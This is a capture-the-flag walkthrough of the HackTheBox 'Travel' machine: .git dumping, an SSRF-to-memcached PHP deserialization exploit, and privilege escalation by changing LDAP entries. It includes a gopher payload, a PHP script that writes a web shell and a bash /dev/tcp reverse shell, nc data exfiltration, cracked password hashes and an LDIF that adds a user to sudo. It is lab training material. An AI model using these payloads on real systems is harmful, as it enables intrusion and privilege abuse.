HackTheBox - Travel


Introduction

HTB Cascade

Travel is an amazing box with a very challenging foothold. It provides an opportunity to practice web based enumeration, code review, and exploitation of said code to manipulate memcached and gain a foothold. Privilege escalation focuses on basic enumeration and abusing LDAP.

Foothold

The three ports shown by Nmap are sufficient to get started.

# Nmap 7.80 scan initiated Thu Jun 11 16:05:56 2020 as: nmap -T4 -p1-10000 -oA nmap-10000 10.10.10.189
Nmap scan report for 10.10.10.189
Host is up (0.14s latency).
Not shown: 9997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Nmap done at Thu Jun 11 16:07:13 2020 -- 1 IP address (1 host up) scanned in 76.75 seconds

At a first glance there isn’t that much interesting information. http://travel.htb does not seem to have anything that stands out. However, when looking at the certificate associated with https://travel.htb, we find additional subdomains to take a look at.

--snip--
Subject Alternative Names
DNS:	www.travel.htb
DNS:	blog.travel.htb
DNS:	blog-dev.travel.htb
Critical:	No
--snip--

Of these new subdomains, blog.travel.htb is accessible and seems to have more potential. There are more dynamic pages and there is mention of a RSS features, fresh from their blog-dev team! Manually going through the websites didn’t result in anything of interest. Let’s hope gobuster1 will find something. Various gobuster runs were made on all sites with one great find.

ben@kal:~/hackthebox/travel$ gobuster dir -u http://blog-dev.travel.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster-common-http-blog-dev-travel
/.git/HEAD (Status: 200)

This is a great find! The .git2 directory can hold a tremendous amount of information that can be useful to gain unauthorized access. There are various scripts available to download all data from the .git folder, in this case I used the dumper from GitTools.

ben@kal:~/hackthebox/travel/git$ ~/hackthebox/tools/GitTools-master/Dumper/gitdumper.sh http://blog-dev.travel.htb/.git/ .
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating ./.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f
[+] Downloaded: objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9
[+] Downloaded: objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039
[+] Downloaded: objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da

With these files, we can use git and look through the repository to hopefully find anything of interest - code, credentials, anything.

ben@kal:~/hackthebox/travel/git$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    README.md
        deleted:    rss_template.php
        deleted:    template.php

no changes added to commit (use "git add" and/or "git commit -a")
ben@kal:~/hackthebox/travel/git$ git restore *
ben@kal:~/hackthebox/travel/git$ ls -al
total 24
drwxr-xr-x 3 ben ben 4096 Jun 11 17:10 .
drwxr-xr-x 4 ben ben 4096 Jun 11 17:06 ..
drwxr-xr-x 6 ben ben 4096 Jun 11 17:10 .git
-rwxr-xr-x 1 ben ben  540 Jun 11 17:10 README.md
-rwxr-xr-x 1 ben ben 2970 Jun 11 17:10 rss_template.php
-rwxr-xr-x 1 ben ben 1387 Jun 11 17:10 template.php

Let’s go through the files and list some of the things that stand out and could be of help to gain a foothold.

The README.md file has:

The rss_template.php file shows a couple of interesting things:

The template.php file has:

When we go to /wp-content/themes/twentytwenty/ and check out the files, we’ll see that all files exist but they are just white pages. The debug.php file exists and shows two lines, but nothing else. Browsing the website itself, and visiting /awesome-rss/ will show us what we are expecting - the contents of /newsfeed/customfeed.xml. Therefore, we can probably assume that the code behind /awesome-rss/ is rss_template.php.

We can test this by visiting /awesome-rss/ with debug and custom_feed_url set. If this works, we can also try and point it to our own system to see if it connects.

http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=http://www.travel.htb/newsfeed/customfeed.xml

[customfeed.xml contents]
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
| xct_4e5612ba07(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

Awesome, what about a file we host on our system?

http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=http://10.10.15.201:8000/test.xml

[test.xml contents]
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
| xct_a396ad9c51(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

At this point, quite a bit of time was spent trying all kinds of things to see if anything would give feedback for pointers in the right direction. It wasn’t until pointing the custom URL to the memcache service that I googled and found the information I needed with the keywords SSRF and memcache 345.

SSRF and Memcache

Reading through the online resources helped put things together and perform the steps required to gain a foothold.

First create a unique locally hosted xml file to create a unique memcache key not to interfere with other people. While debug.php shows a partial memcache key for the specified URL, the full key is required to make the attack work. Some googling67 helped determine the exact method to generate the key. To make it easier we can create a small script to automate it.

#/bin/bash

if [ -s $1 ]; then
    echo "key.sh [URL]"
    exit
fi

stepOne=$(echo -n "$1" | md5sum | cut -d' ' -f1)
result=$(echo -n "$stepOne:spc" | md5sum | cut -d' ' -f1)

echo "xct_$result"

Secondly, a serialized object of TemplateHelper is required to write a (reverse) shell to the logs directory - see script below. As a note, only until I read the forums did I change the variables and functions to public instead of private. I didn’t realize that private members are handled differently when serialized8, and this difference breaks the exploit.

<?php

class TemplateHelper
{
    public $file;
    public $data;

    public function __construct(string $file, string $data)
    {
    	$this->init($file, $data);
    }

    public function __wakeup()
    {
    	$this->init($this->file, $this->data);
    }

    public function init(string $file, string $data)
    {    	
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

  if ($argv[1] === "") {
    echo "What is your IP address?";
    exit();
  }

  /*$a = new TemplateHelper("bshell.php", "<?php echo system(\$_GET['c']); ?>"); */
  $a = new TemplateHelper("bshell.php", "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/".$argv[1]."/443 0>&1'\"); ?>");
  var_dump(serialize($a));
?>

The serialized data can be fed into Gophereus4. The output can then be modified to adjust the URL to 127.1 and the key to the one associated with our custom_feed_url.

These steps can be used to gain a foothold into the system for initial testing, and to create a reverse shell (see the two different payloads in the php script above for basic web shell and reverse shell).

http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=gopher://127.1:11211/_%0d%0aset%20xct_eb91f9acc082b7a1f4594c3840e6557a%204%200%20107%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:10:%22bshell.php%22%3Bs:4:%22data%22%3Bs:33:%22%3C%3Fphp%20echo%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/logs/bshell.php?c=whoami

www-data

User

With access to the system we can start looking around for common mistakes such as: misconfigurations, forgotten valuable data, outdated software, and more. With some searching we’ll come across an SQL backup file.

ben@kal:~/hackthebox/travel/foothold$ sudo nc -lp 4443 > backup-13-04-2020.sql
[sudo] password for ben:

www-data@blog:/opt/wordpress$ nc -w 3 10.10.15.46 4443 < backup-13-04-2020.sql
<s$ nc -w 3 10.10.15.46 4443 < backup-13-04-2020.sql
--snip--
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','[email protected]','http://localhost','2020-04-13 13:19:01','',0,'admin'),
(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','[email protected]','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
--snip--
admin:$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/
lynik-admin:$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.

Hashcat was able to crack one of the passwords which provided user access.

$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser   
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
Hash.Target......: hashes.hash
Time.Started.....: Mon Jul 13 10:43:20 2020 (22 mins, 30 secs)
Time.Estimated...: Mon Jul 13 14:22:40 2020 (3 hours, 16 mins)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1146 H/s (9.45ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests, 1/2 (50.00%) Salts
Progress.........: 1629696/28688770 (5.68%)
Rejected.........: 0/1629696 (0.00%)
Restore.Point....: 814592/14344385 (5.68%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:4224-4352
Candidates.#1....: rapture3 -> ramones5
ben@kal:~/hackthebox/travel/foothold$ ssh [email protected]
The authenticity of host 'travel.htb (10.10.10.189)' can't be established.
ECDSA key fingerprint is SHA256:KSjh2mhuESUZQcaB1ewLHie9gTUCmvOlypvBpcyAF/w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'travel.htb,10.10.10.189' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
--snip--
lynik-admin@travel:~$ cat user.txt
7c123cde542b7a68505c0ba3240761bc

Root

For root it starts same way by looking for anything of value that could be beneficial to escalate privileges. One file that stood out in the home directory of the user was .ldaprc and some of the contents of .viminfo.

lynik-admin@travel:~$ ls -al
total 36
drwx------ 3 lynik-admin lynik-admin 4096 Apr 24 06:52 .
drwxr-xr-x 4 root        root        4096 Apr 23 17:31 ..
lrwxrwxrwx 1 lynik-admin lynik-admin    9 Apr 23 17:31 .bash_history -> /dev/null
-rw-r--r-- 1 lynik-admin lynik-admin  220 Feb 25 12:03 .bash_logout
-rw-r--r-- 1 lynik-admin lynik-admin 3771 Feb 25 12:03 .bashrc
drwx------ 2 lynik-admin lynik-admin 4096 Apr 23 19:34 .cache
-rw-r--r-- 1 lynik-admin lynik-admin   82 Apr 23 19:35 .ldaprc
-rw-r--r-- 1 lynik-admin lynik-admin  807 Feb 25 12:03 .profile
-r--r--r-- 1 root        root          33 Jul 12 21:12 user.txt
-rw------- 1 lynik-admin lynik-admin  861 Apr 23 19:35 .viminfo
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
lynik-admin@travel:~$ cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!

--snip--
# Registers:
""1     LINE    0
        BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

# File marks:
'0  3  0  ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"

# Jumplist (newest first):
-'  3  0  ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-'  1  0  ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
--snip--

With this information it is possible to query LDAP and figure out if that provides a way to gain privileged access.

lynik-admin@travel:~$ ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -h ldap.travel.htb -x -s base -b 'dc=travel,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

With some fiddling with the query we’ll be able to find a list of users and some of their account settings.

lynik-admin@travel:~$ ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -b "dc=travel,dc=htb" -s sub -x "(objectClass=*)"
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> with scope subtree
# filter: (objectClass=*)
# requesting: ALL
#

--snip--

# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
 =

--snip--

# johnny, users, linux, servers, travel.htb
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

--snip--

# search result
search: 2
result: 0 Success

# numResponses: 22
# numEntries: 21

At this point quite a bit of time was spent reading up on LDAP and how to abuse it. A number of resources talked about using LDIF files to modify user settings, which seemed like a great thing to try 910. Using a custom LDIF file it was possible sign in as one of the listed users.

cat johnny.ssh.ldif

dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: [pub-key]
lynik-admin@travel:~$ wget http://10.10.15.68:8000/johnny-ssh.ldif
--snip--
lynik-admin@travel:~$ ldapmodify -h ldap.travel.htb -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -f johnny-ssh.ldif

From here on I kept playing around with different user settings until I finally figured out a combination of steps to gain root access. The steps are as follows:

cat johnny.ldif

dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOfrtZH37/gLCa9iUC7LKxgb/zkAs+wjHtH1aRibDfgI1kyFNqFKWlJHqra/zMiAhdQsTGG8jHMwU3jjMP2NRLHT2SmBNiWJpEug4KInBRyUyUhsIX+9VuiIq/Lr4aoJTR3+i8Jemuwi8WX1xzN2iHlA+Y9hsrpqeqV/KoRIV+lO8O0I4uLEoDJhD5+8FwX0khpYdBToO7JQtn/CnHCvRS1Y1W4u+hujIuxD/lIzRzrsu+VJAhQwsFd46i2XfsRjeFpk1Ro4pNuacguHPhtePAwQ55eRS2JP6pBYBeVQN+JlCAoSr6AYWBsilVhBTbrFJ5D8J8VPvhnc0keu/mQr6SQJUK2KkxrO/KWSXurnI11jKGlpWcaeQiqccItKX8vXiwQ//ExhtuSfpQ186B1jv8MH1reWkeaxM9BmxZkOlE+QEwDyitrSiAF6NQ/4jH8waYUdLd+HqukqxV/WgAE3Z7RHmFgDPo7A7qQG/lifPSyviT0z7StssSFCKbUyys0y8= ben@kal
-
replace: userPassword
userPassword: bpassword
-
replace: gidNumber
gidNumber: 27
ben@kal:~/hackthebox/travel/privesc$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

--snip--

-bash: /home@TRAVEL/johnny/.bash_profile: Permission denied
johnny@travel:/$ id
uid=5004(johnny) gid=27(sudo) groups=27(sudo),5000(domainusers)
johnny@travel:/$ sudo -l
[sudo] password for johnny: 
Matching Defaults entries for johnny on travel:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johnny may run the following commands on travel:
    (ALL : ALL) ALL
johnny@travel:/$ sudo sh -i
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
bc77fdb3e8189915f5bc7ca7065e55f0

Lessons Learned / Additional Notes

Hack The Box


  1. Gobuster ↩︎

  2. .Git Directory ↩︎

  3. PayloadAllTheThings - SSRF Bypassing Filters ↩︎

  4. Gopherus ↩︎

  5. SSRF Memcached ↩︎

  6. SimplePie Memcache Key Algorithm 1 ↩︎

  7. SimplePie Memcache Key Algorithm 2 ↩︎

  8. PHP Serialization ↩︎

  9. How To Use LDIF Files to Make Changes to an OpenLDAP System ↩︎

  10. LDAP SSH Public Keys ↩︎